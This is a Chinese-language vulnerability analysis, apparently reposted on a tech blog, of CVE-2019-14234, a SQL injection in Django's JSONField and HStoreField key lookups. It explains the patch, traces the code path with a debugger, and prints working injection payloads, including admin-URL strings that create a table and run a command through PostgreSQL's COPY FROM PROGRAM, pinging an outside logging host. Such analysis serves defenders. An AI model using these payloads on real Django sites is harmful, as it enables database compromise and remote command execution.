CVE-2019-14234 Django JSON SQL注入 分析

2019-08-08 约 355 字 预计阅读 2 分钟

声明:本文 【CVE-2019-14234 Django JSON SQL注入 分析】 由作者 christa 于 2019-08-08 06:41:00 首发 先知社区 曾经 浏览数 50 次

感谢 christa 的辛苦付出!

0x00前言

8月1号,DJango官方发出更新,其中修复了一个存在于JSON的SQL注入漏洞(CVE-2019-14234)

作为以Django为主要开发的人来说,需要好好研究一下。

0x01 漏洞修复

首先来看看官方是如何修复的

首先将django/contrib/postgres/fields/hstore.py文件里面的KeyTransform类的as_sql函数中的直接传递字符传改为了将self.key_name单独使用数组进行传递,其中%%的意思为"转换说明符",其主要作用为直接转化为单个"%"符号而不需要参数。类似于\\\

In[1]:"%%"%()
Out[1]: '%'

# 具体使用方法如下

In [2]: '%s %%s'%'test'
Out[2]: 'test %s'

之后在django/contrib/postgres/fields/jsonb.py文件中将对self.key_name变量的返回统一改成了使用数组进行转换。并且后期在单元测试中加入了对JSONField的SQL注入测试

因此,也发现了通过JSON进行SQL注入的payload

0x02 漏洞分析

在github上,官方也给出了具体的原因

CVE-2019-14234: SQL injection possibility in key and index lookups for ``JSONField``/``HStoreField``
====================================================================================================

:lookup:`Key and index lookups <jsonfield.key>` for
:class:`~django.contrib.postgres.fields.JSONField` and :lookup:`key lookups
<hstorefield.key>` for :class:`~django.contrib.postgres.fields.HStoreField`
were subject to SQL injection, using a suitably crafted dictionary, with
dictionary expansion, as the ``**kwargs`` passed to ``QuerySet.filter()``.

其通过**kwargs传递键值树来绕过了QuerySet.filter()方法,PostgreSQL的使用json数据进行查询的一个方法有三个主要的查询函数ArrayFieldJSONFieldHStoreField,位于django.contrib.postgres.fields路径下面,出问题的是JSONField方法和HStoreField方法,两种方法都为内置的JSONB存储,这两种方法的区别为JSONField类似于HStoreField,并且可以使用大型字典执行得更好。它还支持除字符串以外的类型,例如整数,布尔和嵌套字典。

首先models里面的数据库格式为

from django.db import models
from django.contrib.postgres.fields import JSONField

# Create your models here.

class Json(models.Model):
    name = models.CharField(max_length=200)
    data = JSONField()

    def __str__(self):
        return self.name

使用python manage.py shell打开shell窗口,案例使用JSONField函数进行存储和查询

Json方式查询的方法可以使用语句

Json.objects.filter(data__breed='test')    # 查询data数据下名称为breed的内容为'test'的整个字段

或者使用语句

Json.objects.filter(**{"data__breed":'test'})

也可以达到要求

因HStoreField方法预与之相同,故不做赘述。
因此既能够使用官方给的payload进行验证

Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})


注入成功!!

查询语句转换为SQL语句为

select * from app01_json where (data- >'breed' ? 'test');

所以产生注入的语句为

select * from app01_json where (data- >'breed' ? 'a') OR 1=1 OR (data->'a'?'x');

为了探究该漏洞在哪一块业务中显现,因此来分析一下。同时又看到官方对过滤的参数都是self.key_name,因此将跟进这一个参数,发现该参数是由KeyTransform类中传入的参数得来的,再跟着KeyTransform走,发现类KeyTransformFactory调用KeyTransform了并且向里面传入了self.key_name

接着跟进,同时在JSONField类中的get_transform方法传入了self.key_name参数

同时跟进super中的父类函数,其传参来自于RegisterLookupMixin类中的lookup_name的变量,其JSONField和HStoreField都来自于这个类方法

class RegisterLookupMixin:

    @classmethod
    def _get_lookup(cls, lookup_name):
        return cls.get_lookups().get(lookup_name, None)

    @classmethod
    @functools.lru_cache(maxsize=None)
    def get_lookups(cls):
        class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in inspect.getmro(cls)]
        return cls.merge_dicts(class_lookups)

    def get_lookup(self, lookup_name):
        from django.db.models.lookups import Lookup
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_lookup(lookup_name)
        if found is not None and not issubclass(found, Lookup):
            return None
        return found

    def get_transform(self, lookup_name):
        from django.db.models.lookups import Transform
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_transform(lookup_name)
        if found is not None and not issubclass(found, Transform):
            return None
        return found

那么,首先在as_sql函数和get_transform下面下断点

和as_sql方法

在views.py中写一个逻辑函数

def query(request):
    m = Json.objects.filter(data__breed="test")
    return HttpResponse("OK")

访问http://127.0.0.1/query/,提取断点信息,发现lookup_name传入的参数为breed

之后跳入"(%s %s %s)" % (lhs, self.operator, lookup), params的语句为("app01_json"."data" -> 'breed') [],因此可以下结论我们需要控制的参数为breed,即使用**{"data__breed":"test"}可以对传进去的breed参数进行恶意构造从而达到SQL注入,self.operator的值为字符串->

进而出现查询结果,我们将SQL注入语句插入之后显现的语句为("app01_json"."data" -> 'breed'='"a"') OR 1=1 OR('d') []

最终显示注入成功,官方对RegisterLookupMixin的定义为查询的API接口,主要功能为为类提供注册查找的接口。在之前使用Django后台页面的时候,对admin.py进行配置使其能够对后台的内容进行排序,而查找的参数测试由get进行传输,在测试中输入url http://127.0.0.1:8000/admin/app01/json/?data__breed=test发现卡在了断点的位置,因此分析Django的后台查询使用了**kwargs方式进行传参

后台传参为("app01_json"."data" -> 'breed') [],因此构造一下url,并且在db\backends\utils.py文件里面下断点

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1  %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data


传进来的SQL语句为

SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data" FROM "app01_json" WHERE ("app01_json"."data" -> \'breed\'?\'a\') OR 1=1  -- OR  ("app01_json"."data" -> \'data\') = %s ORDER BY "app01_json"."id" DESC


改成OR 1=2后

同时我们也可以用Postrgesql进行命令执行,首先使用URL创建一个数据库

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

显示没有结果导出,或者产生500报错

但是成功创建cmd_exec表

接着插入URL

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data


成功执行命令!

Reference

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now